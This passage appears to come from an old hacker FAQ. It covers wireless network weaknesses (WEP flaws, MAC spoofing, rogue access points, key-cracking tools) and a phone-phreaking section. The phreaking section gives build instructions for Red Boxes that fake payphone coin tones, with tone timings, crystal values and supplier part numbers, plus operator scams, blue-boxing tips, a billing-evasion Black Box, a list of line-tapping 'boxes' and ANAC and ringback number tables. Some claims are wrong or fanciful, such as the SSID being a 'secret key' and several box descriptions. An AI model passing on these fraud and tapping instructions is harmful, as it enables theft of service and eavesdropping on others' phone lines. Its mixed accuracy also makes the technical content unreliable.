    The SSID (Service Set IDentifier) is a token which identifies an 802.11 network. The SSID is a secret key which is set by the network administrator. You must know the SSID to join an 802.11 network, however, the SSID can be discovered by network sniffing.

    The fact that the SSID is a secret key instead of a public key creates a management problem for the network administrator. Every user of the network must configure the SSID into their system. If the network administrator seeks to lock a user out of the network, the administrator must change the SSID of the network, which requires reconfiguration of every network node. Some 802.11 NICs allow you to configure several SSIDs at one time.

    Most 802.11 access point vendors allow the use of an SSID of "any" to enable an 802.11 NIC to connect to any 802.11 network. This is known to work with gear from Buffalo Technologies, Cisco, D-Link, Enterasys, Intermec, Lucent, and Proxim.


    C-03. What is WEP?

    WEP (Wired Equivalent Privacy) is the encryption algorithm built into the 802.11 standard. WEP used the RC4 cipher encryption algorithm with 40 or 104 bit keys with 24 bit salts.

    WEP limitations include:

    1. A high percentage of wireless networks have WEP disabled because of the administrative overhead of maintaining a shared WEP key.
    2. WEP has the same problem as all systems based upon shared keys: any secret held by more than one person soon becomes public knowledge. Take for example an employee who leaves a company - they still know the shared WEP key. The ex-employee could sit outside the company with an 802.11 NIC and sniff network traffic or even attack the internal network.
    3. The initialization vector that seeds the WEP algorithm is sent in the clear.
    4. The WEP checksum is linear and predictable.

    For more information, read Security of the WEP Algorithm by Nikita Borisov, Ian Goldberg, and David Wagner at http://www.isaac.cs.berkeley.edu/isaac/wep-faq.html


    C-04. What is MAC Address Filtering?

    Most 802.11 access points allow the network administrator to enter a list of MAC (Media Access Control) addresses that are allowed to communicate on the network. On the other hand, most 802.11 NICs allow you to configure the MAC address of the NIC in software. Therefore, if you can sniff the MAC address of an existing network node, it is possible to join the network using that nodes MAC address.


    C-05. What is a rogue access point?

    802.11 utilizes SSIDs to authenticate NICs to Access Points. There is no similar protocol for authenticating Access Points. It is possible to place a rogue Access Point into an 802.11 network. This rogue Access Point can then be used to hijack the connections of legitimate network users.


    C-06. Where can I get some really cool 802.11 antennae?

    Antenna Systems and Supplies Inc.
    http://www.antennasystems.com/broadband.html#anchor932487

    Andrew
    http://www.andrew.com

    ComTelCo
    http://www.comtelco.net/

    HyperLink Technologies, Inc.
    http://www.hyperlinktech.com/web/antennas_2400.html

    Use a Surplus Primestar Dish as an IEEE 802.11 Wireless Networking Antenna
    http://www.wwc.edu/~frohro/Airport/Primestar/Primestar.html

    2.4Ghz PtMP Antenna FAQ
    http://www.telexwireless.com/wlanfaq.htm

    LM Electronics
    http://www.lm-electronics.com/

    Antenna Sources for Wireless LAN/MAN Applications
    http://www.airnet.am/wlan_ant.html


    C-07. What are some interesting 802.11 tools?

    AirSnort

    AirSnort, by Jeremy Bruestle and Blake Hegerle, is a wireless LAN (WLAN) tool that recovers encryption keys. It operates by passively monitoring transmissions, computing the encryption key when enough packets have been gathered.

    The AirSnort home page is at http://airsnort.shmoo.com

    Kismet

    Kismet, by Mike Kershaw, is an 802.11b network sniffer and network dissector. It is capable of sniffing using most wireless cards, automatic network IP block detection via UDP, ARP, and DHCP packets, Cisco equipment lists via Cisco Discovery Protocol, weak cryptographic packet logging, and Ethereal and tcpdump compatible packet dump files. It also includes the ability to plot detected networks and estimated network ranges on downloaded maps or user supplied image files

    The Kismet home page is at http://www.kismetwireless.net

    Wellenreiter

    Wellenreiter, by Max Moser, is a GTK/Perl program that makes the discovery and auditing of 802.11b wireless networks much easier. All three major wireless cards (Prism2, Lucent, and Cisco) are supported. It has an embedded statistics engine for the common parameters provided by wireless drivers. Its scanner window can be used to discover access-points, networks, and ad-hoc cards. It detects essid broadcasting or non-broadcasting networks in every channel. The manufacturer and WEP is automaticly detected. A flexible sound event configuration lets you work in unattended environments. An ethereal / tcpdump-compatible dumpfile can be created for the whole session. GPS is used to track the location of the discovered networks immediately. Automatic associating is possible with randomly generated MAC addreses. Wellenreiter can reside on low-resolution devices that can run GTK/Perl and Linux/BSD (such as iPaqs). Uniq Essod-bruteforcer is now included too.

    The Wellenreiter home page is at http://www.remote-exploit.org/

    BSD AirTools

    bsd-airtools is a package that provides a complete toolset for wireless 802.11b auditing. Namely, it currently contains a bsd-based wep cracking application, called dweputils (as well as kernel patches for NetBSD, OpenBSD, and FreeBSD). It also contains a curses based ap detection application similar to netstumbler (dstumbler) that can be used to detect wireless access points and connected nodes, view signal to noise graphs, and interactively scroll through scanned ap's and view statistics for each. It also includes a couple other tools to provide a complete toolset for making use of all 14 of the prism2 debug modes as well as do basic analysis of the hardware-based link-layer protocols provided by prism2's monitor debug mode.

    The BSD-AirTools home page is at http://www.dachb0den.com/projects/bsd-airtools.html

    NetStumbler

    NetStumbler, by Marius Milner, is a Windows utility for 802.11b based wireless network auditing.

    The NetStumbler home page is at http://www.netstumbler.com/



    Section D -- Telephony



    D-01. What is a Red Box?

    When a coin is inserted into a payphone, the payphone emits a set of tones to ACTS (Automated Coin Toll System). Red boxes work by fooling ACTS into believing you have actually put money into the phone. The red box simply plays the ACTS tones into the telephone microphone. ACTS hears those tones, and allows you to place your call. The actual tones are:

    Nickel: 35-160ms 1700hz & 2200hz tone burst, followed by 240ms of silence.

    Dime: Two 35-160ms 1700hz & 2200hz bursts, with a spacing of 20-110ms between the bursts, followed by 165 ms of silence.

    Quarter: Five 1700hz & 2200hz bursts, with the first and last being 20-100ms in length, and the second through fourth being 20-60ms in length. The spacing between the first and second bursts is 20-110ms, while the spacing between the following bursts is 20-60ms. The tones are followed by 60ms of silence.

    Canada uses a variant of ACTSD called N-ACTS. N-ACTS uses different tones than ACTS. In Canada, the tones to use are:

    Nickel: 2200hz 0.060s on
    Dime: 2200hz 0.060s on, 0.060s off, twice repeating
    Quarter: 2200hz 33ms on, 33ms off, 5 times repeating



    D-02. How do I build a Red Box?

    Red boxes are commonly manufactured from Radio Shack tone dialers, Hallmark greeting cards, or made from scratch from readily available electronic components.

    To make a Red Box from a Radio Shack 43-141 or 43-146 tone dialer, open the dialer and replace the crystal with a new one. The purpose of the new crystal is to cause the * button on your tone dialer to create a 1700hz and 2200hz tone instead of the original 941hz and 1209hz tones. The exact value of the replacement crystal should be 6.466806 to create a perfect 1700hz tone and 6.513698 to create a perfect 2200hz tone. A crystal close to those values will create a tone that easily falls within the loose tolerances of ACTS. The most popular choice is the 6.5536Mhz crystal, because it is the easiest to procure. The old crystal is the large shiny metal component labeled "3.579545Mhz." When you are finished replacing the crystal, program the P1 button with five *'s. That will simulate a quarter tone each time you press P1.

    You can record the ACTS tones and play them back into the telephone. This is what is done with the Hallmark greeting card. Alternatively, you can build your own circuit using any voice recording chip, such as Radio Shack catalog number 276-1325.



    D-03. Where can I get a 6.5536Mhz crystal?

    Your best bet is a local electronics store. Radio Shack sells them, but they are overpriced and the store must order them in. This takes approximately two weeks. In addition, many Radio Shack employees do not know that this can be done.

    Or, you could order the crystal mail order. This introduces Shipping and Handling charges, which are usually much greater than the price of the crystal. It's best to get several people together to share the S&H cost. Or, buy five or six yourself and sell them later. Some of the places you can order crystals are:

    Digi-Key
    701 Brooks Avenue South
    P.O. Box 677
    Thief River Falls, MN 56701-0677
    (800)344-4539
    Part Number:X415-ND /* Note: 6.500Mhz and only .197 x .433 x .149! */
    Part Number:X018-ND

    JDR Microdevices:
    2233 Branham Lane
    San Jose, CA 95124
    (800)538-5000
    Part Number: 6.5536MHZ

    Tandy Express Order Marketing
    401 NE 38th Street
    Fort Worth, TX 76106
    (800)241-8742
    Part Number: 10068625

    Alltronics
    2300 Zanker Road
    San Jose CA 95131
    (408)943-9774 Voice
    (408)943-9776 Fax
    (408)943-0622 BBS
    Part Number: 92A057

    Mouser
    (800)346-6873
    Part Number: 332-1066

    Blue Saguaro
    P.O. Box 37061
    Tucson, AZ 85740
    Part Number: 1458b

    Unicorn Electronics
    10000 Canoga Ave, Unit c-2
    Chatsworth, CA 91311
    Phone: 1-800-824-3432
    Part Number: CR6.5



    D-04. Which payphones will a Red Box work on?

    Red Boxes will work on telco owned payphones, but not on COCOT's (Customer Owned Coin Operated Telephones).

    Red boxes work by fooling ACTS (Automated Coin Toll System) into believing you have put money into the pay phone. ACTS is the telephone company software responsible for saying "Please deposit XX cents" and listening for the coins being deposited.

    COCOT's do not use ACTS. On a COCOT, the pay phone itself is responsible for determining what coins have been inserted.



    D-05. How do I make local calls with a Red Box?

    Payphones do not use ACTS for local calls. To use your red box for local calls, you have to fool ACTS into getting involved in the call.

    One way to do this, in some areas, is by dialing an Equal Access Code before the number you are dialing. For example, to use 10288 (an Equal Access Code belonging to AT&T), dial 10288-xxx-xxxx. This makes your call a long distance call, and brings ACTS into the picture. There are quite a large number of Equal Access Codes available in most geographic regions.

    In other areas, you can call Directory Assistance and ask for the number of the person you are trying to reach. The operator will give you the number and then you will hear a message similar to "Your call can be completed automatically for an additional 35 cents." When this happens, you can then use ACTS tones.

    Another operator scam involves calling (800) long distance operators, asking them to connect you, and then playing the ACTS tones. This will get ACTS involved, even on COCOT's!

    I have heard that in some areas you can dial local calls as if they were long distance. For example, to dial 345-4587 to would dial 303-345-4587. This does not work on payphones in my area.



    D-06. What is a Blue Box?

    Blue boxes use a 2600hz tone to size control of telephone switches that use in-band signalling. The caller may then access special switch functions, with the usual purpose of making free long distance phone calls, using the tones provided by the Blue Box.



    D-07. Do Blue Boxes still work?

    This FAQ answer is excerpted from a message posted to Usenet by Marauder of the Legion of Doom:

    Somewhere along the line I have seen reference to something similar to "Because of ESS Blue boxing is impossible". This is incorrect. When I lived in Connecticut I was able to blue box under Step by Step, #1AESS, and DMS-100. The reason is simple, even though I was initiating my call to an 800 number from a different exchange (Class 5 office, aka Central Office) in each case, when the 800 call was routed to the toll network it would route through the New Haven #5 Crossbar toll Tandem office. It just so happens that the trunks between the class 5 (CO's) and the class 4 (toll office, in this case New Haven #5 Xbar), utilized in-band (MF) signalling, so regardless of what I dialed, as long as it was an Inter-Lata call, my call would route through this particular set of trunks, and I could Blue box until I was blue in the face. The originating Central Offices switch (SXS/ESS/Etc..) had little effect on my ability to box at all. While the advent of ESS (and other electronic switches) has made the blue boxers task a bit more difficult, ESS is not the reason most of you are unable to blue box. The main culprit is the "forward audio mute" feature of CCIS (out of band signalling). Unfortunately for the boxer 99% of the Toll Completion centers communicate using CCIS links, This spells disaster for the blue boxer since most of you must dial out of your local area to find trunks that utilize MF signalling, you inevitably cross a portion of the network that is CCIS equipped, you find an exchange that you blow 2600hz at, you are rewarded with a nice "winkstart", and no matter what MF tones you send at it, you meet with a re-order. This is because as soon as you seized the trunk (your application of 2600hz), your Originating Toll Office sees this as a loss of supervision at the destination, and Mutes any further audio from being passed to the destination (ie: your waiting trunk!). You meet with a reorder because the waiting trunk never "hears" any of the MF tones you are sending, and it times out. So for the clever amongst you, you must somehow get yourself to the 1000's of trunks out there that still utilize MF signalling but bypass/disable the CCIS audio mute problem. (Hint: Take a close look at WATS extenders).



    D-08. What is a Black Box?

    A Black Box is a resistor (and often capacitor in parallel) placed in series across your phone line to cause the phone company equipment to be unable to detect that you have answered your telephone. People who call you will then not be billed for the telephone call. Black boxes do not work under ESS.



    D-09. What do all the colored boxes do?

    Acrylic Steal Three-Way-Calling, Call Waiting and programmable Call Forwarding on old 4-wire phone systems
    Aqua Drain the voltage of the FBI lock-in-trace/trap-trace
    Beige Lineman's hand set
    Black Allows the calling party to not be billed for the call placed
    Blast Phone microphone amplifier
    Blotto Supposedly shorts every phone out in the immediate area
    Blue Emulate a true operator by seizing a trunk with a 2600hz tone
    Brown Create a party line from 2 phone lines
    Bud Tap into your neighbors phone line
    Chartreuse Use the electricity from your phone line
    Cheese Connect two phones to create a diverter
    Chrome Manipulate Traffic Signals by Remote Control
    Clear A telephone pickup coil and a small amp used to make free calls on Fortress Phones
    Color Line activated telephone recorder
    Copper Cause crosstalk interference on an extender
    Crimson Hold button
    Dark Re-route outgoing or incoming calls to another phone
    Dayglo Connect to your neighbors phone line
    Diverter Re-route outgoing or incoming calls to another phone
    DLOC Create a party line from 2 phone lines
    Gold Dialout router
    Green Emulate the Coin Collect, Coin Return, and Ringback tones
    Infinity Remotely activated phone tap
    Jack Touch-Tone key pad
    Light In-use light
    Lunch AM transmitter
    Magenta Connect a remote phone line to another remote phone line
    Mauve Phone tap without cutting into a line
    Neon External microphone
    Noise Create line noise
    Olive External ringer
    Party Create a party line from 2 phone lines
    Pearl Tone generator
    Pink Create a party line from 2 phone lines
    Purple Telephone hold button
    Rainbow Kill a trace by putting 120v into the phone line (joke)
    Razz Tap into your neighbors phone
    Red Make free phone calls from pay phones by generating quarter tones
    Rock Add music to your phone line
    Scarlet Cause a neighbors phone line to have poor reception
    Silver Create the DTMF tones for A, B, C and D
    Static Keep the voltage on a phone line high
    Switch Add hold, indicator lights, conferencing, etc..
    Tan Line activated telephone recorder
    Tron Reverse the phase of power to your house, causing your electric meter to run slower
    TV Cable "See" sound waves on your TV
    Urine Create a capacitative disturbance between the ring and tip wires in another's telephone headset
    Violet Keep a payphone from hanging up
    White Portable DTMF keypad
    Yellow Add an extension phone



    D-10. What is an ANAC number?

    An ANAC (Automatic Number Announcement Circuit) number is a telephone number that plays back the number of the telephone that called it. ANAC numbers are convenient if you want to know the telephone number of a pair of wires.



    D-11. What is the ANAC number for my area?

    How to find your ANAC number:

    Look up your NPA (Area Code) and try the number listed for it. If that fails, try 1 plus the number listed for it. If that fails, try the common numbers like 311, 958 and 200-222-2222. If you find the ANAC number for your area, please let us know.

    Note that many times the ANAC number will vary for different switches in the same city. The geographic naming on the list is NOT intended to be an accurate reference for coverage patterns, it is for convenience only.

    Many companies operate 800 number services which will read back to you the number from which you are calling. Many of these require navigating a series of menus to get the phone number you are looking for. Please use local ANAC numbers if you can, as overuse or abuse can kill 800 ANAC numbers.

    (800)425-6256: VRS Billing Systems/Integretel
    (800)4BLOCKME
    (800)487-9240: Another line blocking service

    A non-800 ANAC that works nationwide is 404-988-9664. The one catch with this number is that it must be dialed with the AT&T Carrier Access Code 10732. Use of this number does not appear to be billed.

    Note
    These geographic areas are for reference purposes only. ANAC numbers may vary from switch to switch within the same city.

    NPA ANAC number Approximate Geographic area
    USA:
    201 958 Hackensack/Jersey City/Newark/Paterson, NJ
    202 811 District of Columbia
    203 970 CT
    205 300-222-2222 Birmingham, AL
    205 300-555-5555 Many small towns in AL
    205 300-648-1111 Dora, AL
    205 300-765-4321 Bessemer, AL
    205 300-798-1111 Forestdale, AL
    205 300-833-3333 Birmingham
    205 557-2311 Birmingham, AL
    205 811 Pell City/Cropwell/Lincoln, AL
    205 841-1111 Tarrant, AL
    205 908-222-2222 Birmingham, AL
    206 411 WA (Not US West)
    207 200-222-2222 ME
    207 958 ME
    209 830-2121 Stockton, CA
    209 211-9779 Stockton, CA
    210 830 Brownsville/Laredo/San Antonio, TX
    210 951 Brownsville/Laredo/San Antonio, TX (GTE)
    212 958 Manhattan, NY
    213 114 Los Angeles, CA (GTE 2EAX, DMS100, and GTD-5 switches)
    213 1223 Los Angeles, CA (GTE 1AESS and 5ESS switches)
    213 211-2345 Los Angeles, CA (English response)
    213 211-2346 Los Angeles, CA (DTMF response)
    213 760-2??? Los Angeles, CA (DMS switches)
    213 61056 Los Angeles, CA
    214 570 Dallas, TX
    214 790 Dallas, TX (GTE)
    214 970 Dallas, TX (GTE)
    214 970-222-2222 Dallas, TX (Southwestern Bell)
    214 970-x11-1111 Dallas, TX (Southwestern Bell)
    215 410-xxxx Philadelphia, PA
    215 511 Philadelphia, PA
    215 958 Philadelphia, PA
    216 200-XXXX Akron/Canton/Cleveland/Lorain/Youngstown, OH
    216 331 Akron/Canton/Cleveland/Lorain/Youngstown, OH
    216 959-9892 Akron/Canton/Cleveland/Lorain/Youngstown, OH
    217 200-xxx-xxxx Champaign-Urbana/Springfield, IL
    219 550 Gary/Hammond/Michigan City/Southbend, IN
    219 559 Gary/Hammond/Michigan City/Southbend, IN
    301 2002006969 Hagerstown/Rockville, MD
    301 958-9968 Hagerstown/Rockville, MD
    303 958 Aspen/Boulder/Denver/Durango/Grand Junction/Steamboat Springs, CO
    305 200-555-1212 Ft. Lauderdale/Key West/Miami, FL
    305 200200200200200 Ft. Lauderdale/Key West/Miami, FL
    305 780-2411 Ft. Lauderdale/Key West/Miami, FL
    310 114 Long Beach, CA (On many GTE switches)
    310 1223 Long Beach, CA (Some 1AESS switches)
    310 211-2345 Long Beach, CA (English response)
    310 211-2346 Long Beach, CA (DTMF response)
    312 200 Chicago, IL
    312 290 Chicago, IL
    312 1-200-8825 Chicago, IL (Last four change rapidly)
    312 1-200-555-1212 Chicago, IL
    313 200-200-2002 Ann Arbor/Dearborn/Detroit, MI
    313 200-222-2222 Ann Arbor/Dearborn/Detroit, MI
    313 200-xxx-xxxx Ann Arbor/Dearborn/Detroit, MI
    313 200200200200200 Ann Arbor/Dearborn/Detroit, MI
    313 311 Ann Arbor/Dearborn/Detroit, MI
    313 958-1111 Ann Arbor/Dearborn/Detroit, MI (GTE)
    314 410-xxxx# Columbia/Jefferson City/St.Louis, MO
    315 953 Syracuse/Utica, NY
    315 958 Syracuse/Utica, NY
    315 998 Syracuse/Utica, NY
    317 310-222-2222 Indianapolis/Kokomo, IN
    317 559-222-2222 Indianapolis/Kokomo, IN
    317 743-1218 Indianapolis/Kokomo, IN
    334 5572411 Montgomery, AL
    334 5572311 Montgomery, AL
    401 200-200-4444 RI
    401 222-2222 RI
    401 2002006969 RI
    402 311 Lincoln, NE
    404 311 Atlanta, GA
    404 780-2311 Atlanta, GA
    404 940-xxx-xxxx Atlanta, GA
    404 990 Atlanta, GA
    405 890-7777777 Enid/Oklahoma City, OK
    405 897 Enid/Oklahoma City, OK
    407 200-222-2222 Orlando/West Palm Beach, FL (Bell South)
    407 520-3111 Orlando/West Palm Beach, FL (United)
    408 300-xxx-xxxx San Jose, CA
    408 760 San Jose, CA
    408 940 San Jose, CA
    409 951 Beaumont/Galveston, TX
    409 970-xxxx Beaumont/Galveston, TX
    410 200-6969 Annapolis/Baltimore, MD
    410 200-200-6969 Annapolis/Baltimore, MD
    410 200-555-1212 Annapolis/Baltimore, MD
    410 811 Annapolis/Baltimore, MD
    412 711-6633 Pittsburgh, PA
    412 711-4411 Pittsburgh, PA
    412 999-xxxx Pittsburgh, PA
    413 958 Pittsfield/Springfield, MA
    413 200-555-5555 Pittsfield/Springfield, MA
    414 330-2234 Fond du Lac/Green Bay/Milwaukee/Racine, WI
    415 200-555-1212 San Francisco, CA
    415 211-2111 San Francisco, CA
    415 2222 San Francisco, CA
    415 640 San Francisco, CA
    415 760-2878 San Francisco, CA
    415 7600-2222 San Francisco, CA
    419 311 Toledo, OH
    423 200-200-200 Chatanooga, Johnson City, Knoxville, TN
    501 511 AR
    501 721-xxx-xxxx AR
    502 2002222222 Frankfort/Louisville/Paducah/Shelbyville, KY
    502 997-555-1212 Frankfort/Louisville/Paducah/Shelbyville, KY
    503 611 Portland, OR
    503 999 Portland, OR (GTE)
    504 99882233 Baton Rouge/New Orleans, LA
    504 201-269-1111 Baton Rouge/New Orleans, LA
    504 998 Baton Rouge/New Orleans, LA
    504 99851-0000000000 Baton Rouge/New Orleans, LA
    508 958 Fall River/New Bedford/Worchester, MA
    508 200-222-1234 Fall River/New Bedford/Worchester, MA
    508 200-222-2222 Fall River/New Bedford/Worchester, MA
    508 26011 Fall River/New Bedford/Worchester, MA
    509 560 Spokane/Walla Walla/Yakima, WA
    510 760-1111 Oakland, CA
    512 830 Austin/Corpus Christi, TX
    512 970-xxxx Austin/Corpus Christi, TX
    513 380-55555555 Cincinnati/Dayton, OH
    515 5463 Des Moines, IA
    515 811 Des Moines, IA
    516 958 Hempstead/Long Island, NY
    516 968 Hempstead/Long Island, NY
    517 200-222-2222 Bay City/Jackson/Lansing, MI
    517 200200200200200 Bay City/Jackson/Lansing, MI
    517 958-1111 Bay City/Jackson/Lansing, MI (GTE)
    518 511 Albany/Schenectady/Troy, NY
    518 997 Albany/Schenectady/Troy, NY
    518 998 Albany/Schenectady/Troy, NY
    540 211 Roanoke, VA (GTE)
    540 311 Roanoke, VA (GTE)
    541 200 Bend, OR
    573 511  
    602 958-3474 Phoenix, AZ
    601 200-222-2222 MS
    603 200-2222 NH
    603 200-222-2222 NH
    606 997-555-1212 Ashland/Winchester, KY
    606 711 Ashland/Winchester, KY
    607 993 Binghamton/Elmira, NY
    609 958 Atlantic City/Camden/Trenton/Vineland, NJ
    610 958 Allentown/Reading, PA
    610 958-4100 Allentown/Reading, PA
    612 511 Minneapolis/St.Paul, MN
    614 200 Columbus/Steubenville, OH
    614 571 Columbus/Steubenville, OH
    615 200200200200200 Chatanooga/Knoxville/Nashville, TN
    615 2002222222 Chatanooga/Knoxville/Nashville, TN
    615 830 Nashville, TN
    616 200-222-2222 Battle Creek/Grand Rapids/Kalamazoo, MI
    616 958-1111 Battle Creek/Grand Rapids/Kalamazoo, MI (GTE)
    617 200-222-1234 Boston, MA
    617 200-222-2222 Boston, MA
    617 200-444-4444 Boston, MA (Woburn, MA)
    617 220-2622 Boston, MA
    617 958 Boston, MA
    618 200-xxx-xxxx Alton/Cairo/Mt.Vernon, IL
    618 930 Alton/Cairo/Mt.Vernon, IL
    619 211-2001 San Diego, CA
    619 211-2121 San Diego, CA
    659 220-2622 Newmarket, NH
    703 211 VA
    703 511-3636 Culpeper/Orange/Fredericksburg, VA
    703 811 Alexandria/Arlington/Roanoke, VA
    704 311 Asheville/Charlotte, NC
    706 940-xxxx Augusta, GA
    707 211-2222 Eureka, CA
    707 611 Crescent City, CA
    708 1-200-555-1212 Chicago/Elgin, IL
    708 1-200-8825 Chicago/Elgin, IL (Last four change rapidly)
    708 200-6153 Chicago/Elgin, IL
    708 724-9951 Chicago/Elgin, IL
    713 380 Houston, TX
    713 970-xxxx Houston, TX
    713 811 Humble, TX
    713 380-5555-5555 Houston, TX
    714 114 Anaheim, CA (GTE)
    714 211-2121 Anaheim, CA (PacBell)
    714 211-2222 Anaheim, CA (Pacbell)
    714 211-7777 Anaheim, CA (Pacbell)
    716 511 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)
    716 990 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)
    717 958 Harrisburg/Scranton/Wilkes-Barre, PA
    718 958 Bronx/Brooklyn/Queens/Staten Island, NY
    770 780-2311 Marietta/Norcross, GA
    770 940-xxx-xxxx Marietta/Norcross, GA
    802 2-222-222-2222 Vermont
    802 200-222-2222 Vermont
    802 1-700-222-2222 Vermont
    802 111-2222 Vermont
    804 211 Richmond, VA
    804 990 Virginia Beach, VA
    805 114 Bakersfield/Santa Barbara, CA
    805 211-1101 Bakersfield/Santa Barbara, CA
    805 211-2345 Bakersfield/Santa Barbara, CA
    805 211-2346 Bakersfield/Santa Barbara, CA (Returns DTMF)
    805 830 Bakersfield/Santa Barbara, CA
    806 970-xxxx Amarillo/Lubbock, TX
    810 200200200200200 Flint/Pontiac/Southfield/Troy, MI
    810 311 Pontiac/Southfield/Troy, MI
    810 958-1111 Pontiac/Southfield/Troy, MI (GTE)
    812 410-555-1212 Evansville, IN
    813 311 Ft. Meyers/St. Petersburg/Tampa, FL
    815 200-3374 Crystal Lake, IL
    815 270-3374 Crystal Lake, IL
    815 770-3374 Crystal Lake, IL
    815 200-xxx-xxxx La Salle/Rockford, IL
    815 290 La Salle/Rockford, IL
    817 211 Ft. Worth/Waco, TX
    817 970-611-1111 Ft. Worth/Waco, TX (Southwestern Bell)
    817 973-222-11111 Ft. Worth/Waco, TX
    818 114 Pasadena, CA (GTE)
    818 1223 Pasadena, CA (Some 1AESS switches) (Pac Bell)
    818 211-2345 Pasadena, CA (English response) (Pac Bell)
    818 211-2346 Pasadena, CA (DTMF response) (Pac Bell)
    860 970 CT
    901 899-?555 Memphis, TN
    903 970-611-1111 Tyler, TX
    904 200-222-222 Jackonsville/Pensacola/Tallahasee, FL
    904 311 Jackonsville/Pensacola/Tallahasee, FL
    904 780-2311 Jackonsville/Pensacola/Tallahasee, FL
    906 1-200-222-2222 Marquette/Sault Ste. Marie, MI
    906 958-1111 Marquette/Sault Ste. Marie, MI (GTE)
    907 811 Anchorage, AK
    908 958 New Brunswick, NJ
    909 111 Riverside/San Bernardino, CA (GTE)
    909 114 Riverside/San Bernardino, CA
    910 200 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
    910 311 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
    910 988 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
    912 711 Albany/Savannah, GA
    912 780-2311 Albany/Savannah, GA
    914 990-1111 Peekskill/Poughkeepsie/White Plains/Yonkers, NY
    915 970-xxxx Abilene/El Paso, TX
    916 211-0007 Sacramento, CA (Pac Bell)
    916 461 Sacramento, CA (Roseville Telephone)
    919 200 Durham, NC
    919 711 Durham, NC
    919 780-2411 Durham, NC
    954 200-555-1212 Ft. Lauderdale, FL
    954 200200200200200 Ft. Lauderdale, FL
    954 780-2411 Ft. Lauderdale, FL
    Canada:
    204 644-4444 Manitoba
    306 115 Saskatchewan
    403 311 Alberta, Yukon and N.W. Territory
    403 908-222-2222 Alberta, Yukon and N.W. Territory
    403 999 Alberta, Yukon and N.W. Territory
    416 997-xxxx Toronto, Ontario
    416 997-1699 Down Town, Toronto, Ontario
    416 997-1699 Riverdale, Toronto, Ontario
    416 997-8123 Scarborough, Toronto, Ontario
    506 1-555-1313 New Brunswick
    514 320-xxxx Montreal, Quebec
    514 320-1232 Montreal, Quebec
    514 320-1223 Montreal, Quebec
    514 320-1233 Montreal, Quebec
    519 320-xxxx London, Ontario
    604 1116 British Columbia
    604 1211 British Columbia
    604 211 British Columbia
    613 320-2232 Ottawa, Ontario
    613 320-5123 Kingston/Belleville/Southeastern Ontario
    613 320-5124 Kingston/Belleville/Southeastern Ontario
    613 320-9123 Kingston/Belleville/Southeastern Ontario
    705 320-4567 North Bay/Saulte Ste. Marie, Ontario
    819 320-1112 Quebec
    Argentina:
      5702  
    Australia:
      12722123  
    United Kingdom:
      175 or 17071  
    Israel:
      110  

    D-12. What is a ringback number?

    A ringback number is a number that you call that will immediately ring the telephone from which it was called.

    In most instances you must call the ringback number, quickly hang up the phone for just a short moment and then let up on the switch, you will then go back off hook and hear a different tone. You may then hang up. You will be called back seconds later. On some systems, you will have to press a button of flash hook again before the final hang up.



    D-13. What is the ringback number for my area?

    An 'x' means insert those numbers from the phone number from which you are calling. A '?' means that the number varies from switch to switch in the area, or changes from time to time. Try all possible combinations.

    If the ringback for your NPA is not listed, try common ones such as 114, 951-xxx-xxxx, 954, 957 and 958. Also, try using the numbers listed for other NPA's served by your telephone company.

    Note: These geographic areas are for reference purposes only. Ringback numbers may vary from switch to switch within the same city.



    NPA Ringback number Approximate Geographic area
    USA:
    201 55?-xxxx Hackensack/Jersey City/Newark/Paterson, NJ
    202 958-xxxx District of Columbia
    203 99?-xxxx CT
    206 571-xxxx WA
    207 981-xxxx ME
    208 59X-xxxx ID
    208 99xxx-xxxx ID
    210 211-8849-xxxx Brownsville/Laredo/San Antonio, TX (GTE)
    213 xxx-xxxx Los Angeles, CA (GTE 2EAX, DMS100, and GTD-5 witches)
    213 117-xxxx Los Angeles, CA (GTE 5ESS switches)
    213 195-xxxx Los Angeles, CA (GTE 1AESS switches)
    214 971-xxxx Dallas, TX
    215 811-xxxx Philadelphia, PA
    216 551-xxxx Akron/Canton/Cleveland/Lorain/Youngstown, OH
    219 571-xxx-xxxx Gary/Hammond/Michigan City/Southbend, IN
    219 777-xxx-xxxx Gary/Hammond/Michigan City/Southbend, IN
    301 579-xxxx Hagerstown/Rockville, MD
    301 958-xxxx Hagerstown/Rockville, MD
    303 99x-xxxx Grand Junction, CO
    304 998-xxxx WV
    305 999-xxxx Ft. Lauderdale/Key West/Miami, FL
    312 511-xxxx Chicago, IL
    312 511-xxx-xxxx Chicago, IL
    312 57?-xxxx Chicago, IL
    313 116-xxx-xxxx Ann Arbor/Dearborn/Detroit, MI (GTE)
    313 951-xxxx Ann Arbor/Dearborn/Detroit, MI
    315 98x-xxxx Syracuse/Utica, NY
    317 777-xxxx Indianapolis/Kokomo, IN
    317 xxx-xxxx Indianapolis/Kokomo, IN (y=3rd digit of phone number)
    319 79x-xxxx Davenport/Dubuque, Iowa
    334 901-xxxx Montgomery, AL
    401 98?-xxxx RI
    404 450-xxxx Atlanta, GA
    407 988-xxxx Orlando/West Palm Beach, FL
    408 470-xxxx San Jose, CA
    408 580-xxxx San Jose, CA
    412 985-xxxx Pittsburgh, PA
    413 1983-xxxx Pittsfield/Springfield, MA
    414 977-xxxx Fond du Lac/Green Bay/Milwaukee/Racine, WI
    414 978-xxxx Fond du Lac/Green Bay/Milwaukee/Racine, WI
    415 350-xxxx San Francisco, CA
    417 551-xxxx Joplin/Springfield, MO
    501 221-xxxx Ft. Smith, AR (646 prefix)
    501 221-xxx-xxxx AR
    501 780-xxxx Ft. Smith, AR (452 prefix)
    502 988 Frankfort/Louisville/Paducah/Shelbyville, KY
    503 541-XXXX OR
    504 99x-xxxx Baton Rouge/New Orleans, LA
    504 9988776655 Baton Rouge/New Orleans, LA
    505 59?-xxxx New Mexico
    512 95X-xxxx Austin, TX
    513 951-xxxx Cincinnati/Dayton, OH
    513 955-xxxx Cincinnati/Dayton, OH
    513 99?-xxxx Cincinnati/Dayton, OH (X=0, 1, 2, 3, 4, 8 or 9)
    515 559-XXXX Des Moines, IA
    516 660-xxxx Hempstead/Long Island, NY
    516 660-xxx-xxxx Hempstead/Long Island, NY
    517 116-xxx-xxxx Bay City/Jackson/Lansing, MI (GTE)
    520 594-xxxx AZ
    601 777-xxxx MS
    603 981-xxxx NH
    609 55?-xxxx Atlantic City/Camden/Trenton/Vineland, NJ
    610 811-xxxx Allentown/Reading, PA
    612 511 Minneapolis/St.Paul, MN
    612 999-xxx-xxxx Minneapolis/St.Paul, MN
